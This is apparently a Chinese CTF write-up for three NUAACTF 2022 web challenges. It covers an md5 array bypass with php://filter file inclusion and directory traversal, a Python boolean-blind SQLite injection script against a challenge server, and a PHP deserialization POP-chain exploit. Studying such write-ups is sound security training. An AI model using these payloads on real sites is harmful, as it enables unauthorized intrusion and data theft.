NUAACTF 2022 Web

ezlogin

界面是登录框，但是在HTML源码中已经给出了可以绕过登录的逻辑

```
<!-- if (md5($_GET['username']) === md5($_GET['password'])) + if
($_GET['username'] == $_GET['password']) -->
<!-- you will get something cool! -->
```

利用神奇的md5的加密漏洞，由于md5函数不能加密数组，传入数组会报错并且会继续执行然后返回null，所以这里可以使用数组绕过，即

```
md5(a[]=1) === md5(b[]=1)
null === null
```

所以我们可以通过传递如下参数来通过第一个check

```
?username[]=1&password=2
```

然后来到setu阶段，我们可以通过url `/setu.php?file=setu` 大概判断是文件包含，这里可以用php伪协议来读源码

```
setu.php?file=php://filter/convert.base64-encode/resource=setu
```

```
<?php
error_reporting(0);
if ( isset( $_GET['file'] ) ) {
    $str = str_replace("../","",$_GET['file']);

    if (strpos($str,'php://filter/convert.base64-encode/resource') !== false) {
        include ( $_GET['file'] . '.php');
    }
    else {
        include( "/var/www/html/" . $str . '.php' );
    }
}
else {
    header("Location: setu.php?file=setu");
    }
?>
```

因此我们可以大概猜测一下有什么文件可以看，后来也给了提示，这里尝试看hint得到flag的前半部分

```
setu.php?file=php://filter/convert.base64-encode/resource=hint
```

再根据提示，可以知道flag位于 `/answer/flagggg.php`

这里有两种方法可以看到

一是利用伪协议读

```
setu.php?file=php://filter/convert.base64-encode/resource=/answer/flagggg
```

二是利用刚刚看到的setu中的源码(猜测answer位于/var/html/www下)，目录穿越+双写绕过+文件包含

```
setu.php?file=....//....//....//answer/flagggg
```

loginjection

考点：sqlite注入、bool盲注

登录框，注入点在id处`?id=1 or 1=1`调整id可以依次看到一些提示是sqlite injection，并且`'# --`
`union`被过滤

sqlite中有一个系统记录表`sqlite_master`，里面记录了表名和创造该表的sql语句，从而可以查出相关表名和字段名，最后再直接查flag

`exp.py`

```
import requests
import time
from requests.adapters import HTTPAdapter

base_url = 'http://121.5.230.65:2002/?id=1 AND '
sess = requests.session()
sess.mount('http://', HTTPAdapter(max_retries=3))
sess.mount('https://', HTTPAdapter(max_retries=3))

def get_flag():
    ret = ''

    while True:
        for i in range(200):
            for j in range(33, 127):
#                payload = '(select substr((select tb1_name from sqlite_master
limit 1,1), {0},1))="{1}"'.format(i, chr(j))
                table_payload = '(select substr((select tbl_name from
sqlite_master limit 1,1), {0},1))="{1}"&username=admin&password=admin'.format(i,
chr(j))

                sql_payload = '(select substr((select sql from sqlite_master
limit 1,1), {0},1))="{1}"&username=admin&password=admin'.format(i, chr(j))

                flag_payload = '(select substr((select ffllaaag from ffl4g limit
0,1), {0},1))="{1}"&username=admin&password=admin'.format(i, chr(j))
                url = base_url + flag_payload
                r =  sess.get(url=url, timeout=5)
                if 'admin' in r.text:
                    ret += chr(j)
                    print(ret)

get_flag()
```

superezpop

考点：pop链

题目直接给出源码

```php
<?php
error_reporting(0);

class User{
    public $username;
    public $password;
    public $variable;
    public $a;

    public function __construct()
    {
        $this->username = "user";
        $this->password = "user";
    }

    public function __wakeup(){
        if( ($this->username != $this->password) && (md5($this->username) === 
md5($this->password)) && (sha1($this->username)=== sha1($this->password)) ){
            echo "wuhu!";
            return $this->variable->xxx;
        }else{
            die("o^o");
        }
    }
}

class Login{
    public $point;

    public function __get($key){
        $func = $this->point;
        return $func();
    }
}

class Read{
    public $filename;

    public function __invoke(){
        echo file_get_contents($this->filename.".php");
    }
}

if(isset($_GET['x'])){
    unserialize($_GET['x']);
}else{
    highlight_file(__FILE__);
}
?>
```

__get(): 读取不可访问属性的值时会自动调用

__invoke(): 当尝试以调用函数的方式调用一个对象时会被自动调用

在了解了php基本的魔法函数之后，我们可以有个基本的思路：

1. 在User类中，首先会调用`__construct`，然后调用`__wakeup`，那么在`__wakeup`中，我们希望进入到第一个if中输出wuhu，即实现访问不可访问的属性，触发`__get`

   如何满足第一个if的条件呢，也是两个思路

   (1) 利用php原生类Error

   (2) 利用php中md5的加密缺陷

2. 接下来我们希望调用read类中的`__invoke`去读取文件，那么在Login类的`__get`函数中存在`$func()`，那么我们将一个对象赋给`$point`，之后该对象会被复制给`$func`并被调用，从而触发`__invoke`

3. 最后再利用伪协议读取flag

`exp.php`

```php
<?php
class User{
    public $username;
    public $password;
    public $variable;
    public $a;
}

class Login{
    public $point;
    public $function;
}

class Read{
    public $filename;
}

$read = new Read();
$user = new User();
$login = new Login();

// 方法一:
$a = new Error($str, 1);$b = new Error($str, 2);
$user->username = $a;
$user->password = $b;

/*
方法二:
$a = array("1");
$b = array("2");
$user->username = $a;
$user->password = $b;
*/

$read->filename = "php://filter/read=convert.base64-encode/resource=flag";

$login->point = $read;
```

```php
$user->variable = $login;

echo(urlencode(serialize($user)));

?>
```